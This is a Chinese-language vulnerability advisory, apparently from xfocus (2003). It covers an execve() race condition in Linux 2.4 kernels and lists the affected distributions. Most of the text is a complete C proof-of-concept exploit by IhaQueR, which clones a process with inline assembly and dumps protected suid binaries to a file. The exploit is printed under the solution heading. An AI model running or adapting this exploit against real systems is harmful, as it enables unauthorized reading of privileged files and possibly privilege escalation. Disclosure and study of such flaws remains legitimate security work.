xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Linux 2.4 Kernel execve()系统调用竞争条件漏洞


发布时间:2003-06-27
更新时间:2003-06-27
严重程度:
威胁程度:权限提升
错误类型:竞争条件
利用方式:服务器模式

BUGTRAQ ID:8042

受影响系统
Linux kernel 2.4                              
Linux kernel 2.4.1                            
Linux kernel 2.4.2                            
   +Caldera OpenLinux Server 3.1              
   +Caldera OpenLinux Workstation 3.1        
   +RedHat Linux 7.1 alpha                    
   +RedHat Linux 7.1 i386                    
Linux kernel 2.4.3                            
   +MandrakeSoft Linux Mandrake 8.0          
   +MandrakeSoft Linux Mandrake 8.0 ppc      
Linux kernel 2.4.4                            
   +S.u.S.E. Linux 7.2                        
Linux kernel 2.4.5                            
   +Slackware Linux 8.0                      
Linux kernel 2.4.6                            
Linux kernel 2.4.7                            
   +RedHat Linux 7.2                          
   +S.u.S.E. Linux 7.1                        
   +S.u.S.E. Linux 7.2                        
Linux kernel 2.4.8                            
   +MandrakeSoft Linux Mandrake 8.0          
   +MandrakeSoft Linux Mandrake 8.1          
   +MandrakeSoft Linux Mandrake 8.2          
Linux kernel 2.4.9                            
   +RedHat Enterprise Linux AS 2.1            
   +RedHat Enterprise Linux ES 2.1            
   +RedHat Enterprise Linux WS 2.1            
   +RedHat Linux 7.1 alpha                    
   +RedHat Linux 7.1 i386                    
   +RedHat Linux 7.1 ia64                    
   +RedHat Linux 7.2 alpha                    
   +RedHat Linux 7.2 i386                    
   +RedHat Linux 7.2 ia64                    
   +Sun Linux 5.0                            
   +Sun Linux 5.0.3                          
Linux kernel 2.4.10                          
   +S.u.S.E. Linux 7.3                        
Linux kernel 2.4.11                          
Linux kernel 2.4.12                          
   +Conectiva Linux 7.0                      
Linux kernel 2.4.13                          
   +Caldera OpenLinux Server 3.1.1            
   +Caldera OpenLinux Workstation 3.1.1      
Linux kernel 2.4.14                          
Linux kernel 2.4.15                          
Linux kernel 2.4.16                          
   +Sun Cobalt RaQ 550                        
Linux kernel 2.4.17                          
Linux kernel 2.4.18                          
   +Astaro Security Linux 2.0 16              
   +Astaro Security Linux 2.0 23              
   +MandrakeSoft Linux Mandrake 8.0          
   +MandrakeSoft Linux Mandrake 8.1          
   +MandrakeSoft Linux Mandrake 8.2          
   +RedHat Linux 7.3                          
   +RedHat Linux 8.0                          
   +S.u.S.E. Linux 7.1                        
   +S.u.S.E. Linux 7.2                        
   +S.u.S.E. Linux 7.3                        
   +S.u.S.E. Linux 8.0                        
Linux kernel 2.4.19                          
   +Conectiva Linux 8.0                      
   +Conectiva Linux Enterprise Edition 1.0    
   +MandrakeSoft Linux Mandrake 9.0          
   +S.u.S.E. Linux 8.1                        
Linux kernel 2.4.20                          
   +CRUX CRUX Linux 1.0                      
   +RedHat Linux 9.0 i386                    
   +Slackware Linux 9.0                      
Linux kernel 2.4.21
详细描述
Linux Kernel 2.4的execve()系统调用实现上存在竞争条件漏洞,因为被执行程序打开后的文件描述符放在调用进程的文件表中,execve()调用实现上在漏洞允许调用进程在执行目标程序之前,使用clone()调用复制出一个进程来读取被执行的程序文件。攻击者可以利用此漏洞读取正常情况下无法读取的suid文件,虽然未经证实,向目标程序文件写入代码也是可能的,理论上可用于提升权限。

测试代码
厂商还未提供解决方案。

解决方案
/****************************************************************
*                                *
*    Linux 2.4.x suid exec/file read race proof of concept    *
*    by IhaQueR                        *
*                                *
****************************************************************/



#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>

#include <sys/types.h>
#include <sys/stat.h>

#include <asm/page.h>



void fatal(const char *msg)
{
    printf("\n");
    if (!errno) {
    fprintf(stderr, "FATAL: %s\n", msg);
    } else {
    perror(msg);
    }

    printf("\n");
    fflush(stdout);
    fflush(stderr);
    exit(129);
}


int child(char **av)
{
    int fd;

    printf("\nChild running pid %d", getpid());
    fflush(stdout);
    usleep(100000);

    execvp(av[0], av + 1);

    printf("\nFatal child exit\n");
    fflush(stdout);
    exit(0);
}


void exitus(int v)
{
    printf("\nParent terminating (child exited)\n\n");
    fflush(stdout);
    exit(129);
}

void usage(const char *name)
{
    printf("\nSuid exec dumper by IhaQueR\n");
    printf("\nUSAGE:\t%s executable [args...]", name);
    printf("\n\n");
    fflush(stdout);
    exit(0);
}


int main(int ac, char **av)
{
    int p = 0, fd = 0;
    struct stat st, st2;

    if (ac < 2)
    usage(av[0]);

    av[0] = (char *) strdup(av[1]);
    av[1] = (char *) basename(av[1]);

    p = stat(av[0], &st2);
    if (p)
    fatal("stat");

    signal(SIGCHLD, &exitus);
    printf("\nParent running pid %d", getpid());
    fflush(stdout);

    __asm__ (
             "pusha              \n"
             "movl $0x411, %%ebx \n"
             "movl %%esp, %%ecx  \n"
             "movl $120, %%eax   \n"
             "int  $0x80         \n"
             "movl %%eax, %0     \n"
             "popa"
             : : "m"(p)
            );

    if (p < 0)
    fatal("clone");

    if (!p)
    child(av);

    printf("\nParent stat loop");
    fflush(stdout);
    while (1) {
    p = fstat(3, &st);
    if (!p) {
        if (st.st_ino != st2.st_ino)
        fatal("opened wrong file!");

        p = lseek(3, 0, SEEK_SET);
        if (p == (off_t) - 1)
        fatal("lseek");
        fd = open("suid.dump", O_RDWR | O_CREAT | O_TRUNC | O_EXCL,
              0755);
        if (fd < 0)
        fatal("open");
        while (1) {
        char buf[8 * PAGE_SIZE];

        p = read(3, buf, sizeof(buf));
        if (p <= 0)
            break;
        write(fd, buf, p);
        }
        printf("\nParent success stating:");
        fflush(stdout);
        printf("\nuid %d gid %d mode %.5o inode %u size %u",
           st.st_uid, st.st_gid, st.st_mode, st.st_ino,
           st.st_size);
        fflush(stdout);
        printf("\n");
        fflush(stdout);
        exit(1);
    }
    }

    printf("\n\n");
    fflush(stdout);

    return 0;
}

相关信息
Linux 2.4.x execve() file read race vulnerability
http://archives.neohapsis.com/archives/bugtraq/2003-06/0209.html